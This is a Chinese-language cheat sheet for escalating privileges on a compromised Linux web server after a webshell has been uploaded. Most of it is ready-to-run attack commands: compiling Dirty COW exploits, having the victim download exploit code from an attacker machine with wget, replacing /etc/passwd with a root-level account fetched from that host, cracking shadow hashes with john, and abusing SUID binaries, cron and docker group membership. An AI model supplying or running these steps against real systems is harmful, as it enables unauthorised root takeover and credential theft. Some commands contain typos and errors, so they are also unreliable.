很多web搭建都使用linux作为服务器系统,但是搭建网站时使用的账号可能权限很低,这就导致即使上传webshell之后也没有办法进一步扩大危害范围,所以需要进一步的提权才能拿到服务器的更多控制权

目录

漏洞提权

使用 suggester

查看存在漏洞

cd linux-exploit-suggester-master
./linux-exploit-suggester.sh 

使用漏洞利用包

cd dirtycow-master
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
cd CVE-2016-5195-master
make
./dcow -s

使用Kali工具searchsploit

查看已下载可用漏洞

searchsploit Ubuntu 16.04

查看详情

searchsploit -x linux/local/47169.c

下载到当前路径

searchsploit -m 44298.c

开启临时服务器

python3 -m http.server

受害机下载并运行

wget http://192.168.10.3:8000/44298.c

利用msf的php马提权

使用post/multi/recon/local_exploit_suggester模块

SUID提权

查找s权限的文件

下面任意一条

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

进入网站提权

https://gtfobins.github.io/

查找命令带suid的选项

passwd提权

如果passwd文件被设置为其他用户可写

将passwd上传到kali,追加ssl证书

openssl passwd -1 -salt tom 123456

在kali的passwd末尾追加

tom:$1$tom$H4.KLuPgSb0RlWEVF1WQk/:0:0:/root:/bin/bash

开启临时服务器

python3 -m http.server

下载kali的passwd到Ubuntu上覆盖passwd

wget http://192.168.10.3:8000/passwd -O /etc/passwd

shadow文件密码破解

当可以查看shadow文件时,可以使用kali来进行密码碰撞得到密码

复制整段密文到kali新建的文件下

/usr/share/wordlists/rockyou.txt.gz解压

john开始爆破

john --wordlist="./rockyou.txt" passwd 

SSH密钥提权

需要.ssh目录的可读权限

进入到家目录的./.ssh/目录下复制公钥并保存

cat id_rsa.pub > authorized_keys

生成authorized_keys

复制私钥,kali私钥远程连接

ssh -i id_sra user@192.168.10.3

计划任务提权

user在家目录创建test.py

vim /var/spool/cron/crontabs/root

写入

* * * * * root bash -i /home/user/test.py

docker提权

docker是一个虚拟容器–网卡–服务

具有映射文件,映射端口,挂载目录的功能,只可读不可写

运行

docker run -itd -p (本地端口) : (docker端口) 
                -f (本地目录) : (docker目录)

如果获取到的用户在docker组内,就可以尝试去读取shadow文件查看密码

查看docker组的用户

cat /etc/group | grep docker

如果用户在docker组内,那么进入到/mnt目录就能进一步去查看真实的文件系统

cd /mnt
cat etc/shadow

sudo提权

基本不可能,不过可以试一试,万一成了呢

sudo -l